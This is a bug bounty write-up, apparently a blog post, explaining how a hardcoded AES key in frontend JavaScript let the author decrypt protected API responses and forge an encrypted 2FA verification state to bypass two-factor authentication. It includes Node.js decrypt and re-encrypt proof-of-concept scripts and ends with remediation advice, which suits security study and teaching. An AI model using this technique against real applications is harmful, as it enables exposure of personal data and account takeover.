October 2, 2026
The AES Key That Bypassed Every Fix: From Mass PII Exposure to 2FA Bypass
Hello Hackers π

By Mahmoud Magdy
4 min read
Hello Hackers π
Sometimes you find a random secret in JavaScript and the first question should be:
"What is this actually used for?"
That's exactly what happened here.
π Finding the Key
While testing the application, I was looking through the publicly accessible JavaScript files.
I found this:
REACT_APP_AES_KEY = "<REDACTED>"REACT_APP_AES_KEY = "<REDACTED>"The key was inside the frontend JavaScript.
At this point, I didn't know its purpose.
So I didn't want to assume that simply finding an AES key meant there was a vulnerability.
I wanted to know:
What is this key actually used for?
π€ Then I Remembered My Previous Reports :
I had previously reported several vulnerabilities on the same application : https://medium.com/@mahmoudmagdy45456/how-i-landed-5-bounties-on-the-same-platform-c8d910b5f4cd
For example:
GET /api/proxy-service/companies?tenantCode=PIL&companyRegistrationNumber=1GET /api/proxy-service/companies?tenantCode=PIL&companyRegistrationNumber=1and:
GET /api/proxy-service/reference-data/USER_ROLE?tenantCode=PILGET /api/proxy-service/reference-data/USER_ROLE?tenantCode=PILand:
GET /api/proxy-service/admin/bl/companiesGET /api/proxy-service/admin/bl/companiesThese APIs were returning sensitive information without the proper access controls.
The company fixed those issues.
But as part of the fix, they changed how the API responses were handled.
Instead of restricting access to the APIs properly, they started encrypting the API responses so the returned data was no longer directly readable.
So when I found the AES key, I immediately thought:
Could this be the key they introduced to protect the API responses after my previous reports?
That was the first thing I wanted to test.
π§ͺ I Made a Small Script
I took one of the encrypted API responses and wrote a small script that used the exposed AES key to decrypt it.
The idea was very simple:
Get encrypted API response
β
Use exposed AES key
β
Decrypt response
β
Read original JSON
const crypto = require("crypto");
const key = Buffer.from("<AES-KEY>");
const data = Buffer.from("<encrypted_response>", "base64");
const iv = data.slice(0, 12);
const encrypted = data.slice(12);
const tag = encrypted.slice(-16);
const text = encrypted.slice(0, -16);
const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
decipher.setAuthTag(tag);
let decrypted = decipher.update(text, null, "utf8");
decrypted += decipher.final("utf8");
console.log(decrypted);Get encrypted API response
β
Use exposed AES key
β
Decrypt response
β
Read original JSON
const crypto = require("crypto");
const key = Buffer.from("<AES-KEY>");
const data = Buffer.from("<encrypted_response>", "base64");
const iv = data.slice(0, 12);
const encrypted = data.slice(12);
const tag = encrypted.slice(-16);
const text = encrypted.slice(0, -16);
const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
decipher.setAuthTag(tag);
let decrypted = decipher.update(text, null, "utf8");
decrypted += decipher.final("utf8");
console.log(decrypted);I didn't need to break AES.
I didn't need to guess the key.
The key was already sitting inside the frontend.
After implementing the same AES-GCM logic used by the application, I tested it against a real API response.
Andβ¦
It worked.
The encrypted response was successfully decrypted.
π₯ The Fix Was Bypassed
This was the moment the finding became much more interesting.
The application had fixed my previous reports.
They had introduced encryption to prevent someone from simply reading the API responses.
But the encryption key was available to anyone who could download the JavaScript.
- The new protection could therefore be bypassed.
And the decrypted responses contained sensitive information such as company and contact data.
So the issue wasn't just:
There is an AES key in JavaScript.
The important part was:
The exposed key allowed me to defeat the encryption that had been introduced as part of the security fix.
π Then I Started Looking at What Else Used the Key
After confirming that the key worked against the API responses, I started looking for other places where the same encryption was used.
That's when I found something much more interesting.
The application also used encrypted data during the 2FA verification flow.
I captured the encrypted verification response and decrypted it using the same key.
After decryption, I found a value similar to:
mahmoudmagdy45456@gmail.com:null:1776557237487:Nmahmoudmagdy45456@gmail.com:null:1776557237487:NThe important part was the last value:
NNIt represented the verification state.
π§ͺ What If I Changed N to Y?
At this point, I wanted to see whether the server actually validated this value properly.
So I changed:
NNto:
YYThe value became:
mahmoudmagdy45456@gmail.com:null:1776557237487:Ymahmoudmagdy45456@gmail.com:null:1776557237487:YThen I re-encrypted the modified value using the same AES key.
const crypto = require("crypto");
const key = Buffer.from("<AES-KEY>");
const plaintext = "<Decrypted modified Verification Response>";
// Generate random IV (12 bytes for GCM)
const iv = crypto.randomBytes(12);
try {
const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
let encrypted = cipher.update(plaintext, "utf8");
encrypted = Buffer.concat([encrypted, cipher.final()]);
const tag = cipher.getAuthTag();
// Combine: IV + ciphertext + tag
const result = Buffer.concat([iv, encrypted, tag]).toString("base64");
console.log(result);
} catch (err) {
console.error("β Error:", err.message);
}const crypto = require("crypto");
const key = Buffer.from("<AES-KEY>");
const plaintext = "<Decrypted modified Verification Response>";
// Generate random IV (12 bytes for GCM)
const iv = crypto.randomBytes(12);
try {
const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
let encrypted = cipher.update(plaintext, "utf8");
encrypted = Buffer.concat([encrypted, cipher.final()]);
const tag = cipher.getAuthTag();
// Combine: IV + ciphertext + tag
const result = Buffer.concat([iv, encrypted, tag]).toString("base64");
console.log(result);
} catch (err) {
console.error("β Error:", err.message);
}So my process was:
Original encrypted response
β
Decrypt using exposed key
β
Change N β Y
β
Encrypt again using the same key
β
Send modified responseOriginal encrypted response
β
Decrypt using exposed key
β
Change N β Y
β
Encrypt again using the same key
β
Send modified responseI sent the modified value back to the application.
And it worked.
π₯ 2FA Was Bypassed
The server accepted the modified encrypted response as valid.
without completing the actual verification step.
That demonstrated a 2FA bypass.
The chain looked like this:
Original API vulnerabilities
β
Fixed
β
API responses encrypted
β
AES key exposed in JavaScript
β
Key extracted
β
API responses decrypted
β
Same key found in 2FA flow
β
N changed to Y
β
Response re-encrypted
β
2FA bypassOriginal API vulnerabilities
β
Fixed
β
API responses encrypted
β
AES key exposed in JavaScript
β
Key extracted
β
API responses decrypted
β
Same key found in 2FA flow
β
N changed to Y
β
Response re-encrypted
β
2FA bypassThat's what made the finding much more interesting than simply finding a hardcoded secret.
π The Main Lesson :
If you find a secret in frontend JavaScript, don't immediately assume you know the impact.
First ask:
What is this secret used for?
In my case, I found the key first.
Then I remembered the previous fixes.
Then I realized:
They had started encrypting the API responses.
That gave me a direction.
I built a small script using the exposed key.
The encrypted API response decrypted successfully.
Then I followed the key further and found that it was also involved in the 2FA flow.
Changing:
N β YN β Yand re-encrypting the response was enough to make the server accept the verification state.
So one exposed key ended up bypassing the protection that had been introduced after the original vulnerabilities were fixed, and it also led to a demonstrated 2FA bypass.
π οΈ How It Should Be Fixed :
- The AES key should not be placed in frontend JavaScript.
- More importantly, the server should never trust a client-controlled value to determine whether 2FA has been completed.
- The 2FA state should be maintained and verified server-side.
Collab duo : Mohamed Abdelmoatie (3at3ot)
Connect With Me
LinkedIn: https://www.linkedin.com/in/mahmoud-magdy-0a8078269/
Email: mahmoudmagdy45456@gmail.com
Thanks for reading, and stay safe out there π‘οΈ